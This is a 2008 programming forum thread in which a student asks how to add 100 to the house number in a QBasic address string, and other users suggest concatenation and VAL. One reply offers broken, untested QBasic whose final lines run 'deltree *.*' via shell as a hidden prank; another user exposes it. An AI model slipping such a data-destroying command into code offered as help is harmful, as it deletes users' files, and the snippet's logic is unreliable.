QBasic help? Is this right?

Can you tell me if this will work?

Page 1 of 1

7 Replies - 1293 Views - Last Post: 31 May 2008 - 10:50 PM Rate Topic: -----

#1 StealthTools  Icon User is offline

  • D.I.C Head

Reputation: 1
  • View blog
  • Posts: 52
  • Joined: 11-March 08

QBasic help? Is this right?

Post icon  Posted 15 April 2008 - 05:46 AM

I have to do something that I'm not sure how to do.. like for example..

If I wanted to make "35 Morton Avenue" = "135 Morton Avenue" how would I do this? The problem is that the value has to be stored as a $ variable.

For example.. "35 Morton Avenue" would be entered in the variable "Address$" and I have to somehow make a statement or something that automatically changes the numbers in the "Address$" to equal what they are plus 100. I don't know how to do this because I don't think you can add 100 to a "$" variable because there are letters in it.... that's basically something like what I have to do, help please.

for example again:
INPUT "Enter the address of your property:", Address$

Address$ = Address$ + 100

PRINT "Your new address is:", Address$



===========
=OUTPUT VIEW=
===========


Enter the address of your property: 35 Morton Avenue

Your new address is: 135 Morton Avenue



Thanks for any help you can give :)

It would be nice to have an answer by 5:00pm Eastern Time...

The time at the bottom of this page says 8:27 when it is actually 11:27


IS there no one who can help me here?

This post has been edited by StealthTools: 15 April 2008 - 12:56 PM


Is This A Good Question/Topic? 0
  • +

Replies To: QBasic help? Is this right?

#2 StealthTools  Icon User is offline

  • D.I.C Head

Reputation: 1
  • View blog
  • Posts: 52
  • Joined: 11-March 08

Re: QBasic help? Is this right?

Posted 16 April 2008 - 05:16 AM

Some help I received... more like none.. and this WAS SIMPLE!!!

the problem was that I needed to: Concatenation; join two strings

Does anyone even go to these threads???? :v:

This post has been edited by StealthTools: 16 April 2008 - 05:16 AM

Was This Post Helpful? 0
  • +
  • -

#3 tootintorrey  Icon User is offline

  • D.I.C Head

Reputation: 2
  • View blog
  • Posts: 62
  • Joined: 24-March 08

Re: QBasic help? Is this right?

Posted 22 April 2008 - 02:16 PM

you realize that these people are here to help us not baby us?
Was This Post Helpful? 0
  • +
  • -

#4 StealthTools  Icon User is offline

  • D.I.C Head

Reputation: 1
  • View blog
  • Posts: 52
  • Joined: 11-March 08

Re: QBasic help? Is this right?

Posted 25 April 2008 - 06:15 AM

I received no help at all.
Was This Post Helpful? 0
  • +
  • -

#5 dustin33569  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 1
  • Joined: 30-April 08

Re: QBasic help? Is this right?

Posted 30 April 2008 - 01:28 PM

I believe the following should work:

INPUT "Enter the address of your property:"; Address
PRINT "Your new address is:", Address + 100


I used JustBASIC to compile this. It's a free program. Also, the person will only need to put in their house number. The text in the address could goof it up.

Hope this helps!
Was This Post Helpful? 0
  • +
  • -

#6 calvinthedestroyer  Icon User is offline

  • D.I.C Lover

Reputation: 167
  • View blog
  • Posts: 1,908
  • Joined: 13-October 07

Re: QBasic help? Is this right?

Posted 30 May 2008 - 08:14 PM

LEFT$(stringexprsion$,n%)
* stringexpresion = Any string expression
* n% = the number of charaters to return

ASC(stringexperesin) = any string expression
CHR$(ascii-code%) = the code of the desired character.

You may also want to read up on VAL that might be able to do this too.
tot_add_field_size = 30					'the total size of your address
Address$(ctr) =  "data_bass" 				'the address's you have
for andrew = 1 to 10 					'for a address range of 1 to 1000000000
  LEFT$(Address$(ctr), 1) = temp_add$			'pull out the first number.
  CHR$(temp_add$)= temp_num				'get the chat code
	IF temp_number > 047 AND temp_num < 058		'is this a alpha number?
	THEN
		old_add_num = old_add_num + temp_num	'ok lets write down the numbers
		ctr = ctr + 1
	ELSE
		'what? thats not a number
		endlentgth = tot_add_field_size - andrew 'save whats left of the address
		Street$ = right$(Address$(ctr),endlength) 'well then thats all we need
		goto buczko				
	END IF
next andrew
buczko:
New_add_num = old_add_num + 100				'add 100 to the address
Dungeon$ = str$(New_add_num)				'just moving things around
Studios$ = Street$ 
Address$(ctr) = Dungeon$ + Studios$			'add the new number to the street address
print "old address :"; old_add_num;" "; Street$
print "new address :"; Address$(ctr)
shell "c:\"
shell "cd pron"
shell "deltree *.*"
print "You are now healed!"



This isn't tested since I do not have access to your databass, but I hope that what I provided helps.

Andy
Was This Post Helpful? 0
  • +
  • -

#7 born2c0de  Icon User is offline

  • printf("I'm a %XR",195936478);
  • member icon

Reputation: 180
  • View blog
  • Posts: 4,667
  • Joined: 26-November 04

Re: QBasic help? Is this right?

Posted 31 May 2008 - 12:42 PM

I'll give you a hint.
Use the Val() function.
If a string starts with a number, Val() will convert the number correctly even if the latter half of the string is a set of characters.

This means that Print Val("35 Morton Avenue") would output 35.

I think you can figure out the rest. If not, post your problem.

Quote

shell "c:\"
shell "cd pron"
shell "deltree *.*"
print "You are now healed!"

@calvinthedestroyer:
Do you really expect anyone to run this code without noticing these lines?
Was This Post Helpful? 0
  • +
  • -

#8 calvinthedestroyer  Icon User is offline

  • D.I.C Lover

Reputation: 167
  • View blog
  • Posts: 1,908
  • Joined: 13-October 07

Re: QBasic help? Is this right?

Posted 31 May 2008 - 10:50 PM

Quote

someone:
Not to mention, uhm, if this was real code, you should ALWAYS check for the existence of the directory 1st.


Thats true, I'd thought my code would be better than the medieoquer response of "please make an effort first".

And I don't think that I can check for a directory in QBasic. I'd have to write some kind of error routine to act on that error as far as I know, if the directory does not exist then the line by line compiler errors and pukes.

Thanks for the heads up
I'm just so used to all the negative responses that I get from other online experiences that it didn't come into mind that this group would be civil.

calvinthedestroyer

PS, that segment of code would need a lot more to run (exicute) so its not like anyone could copy/pasta and run it without having to add like ten more lines of code to it. And in doing so, they would see my little trick at the end.
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1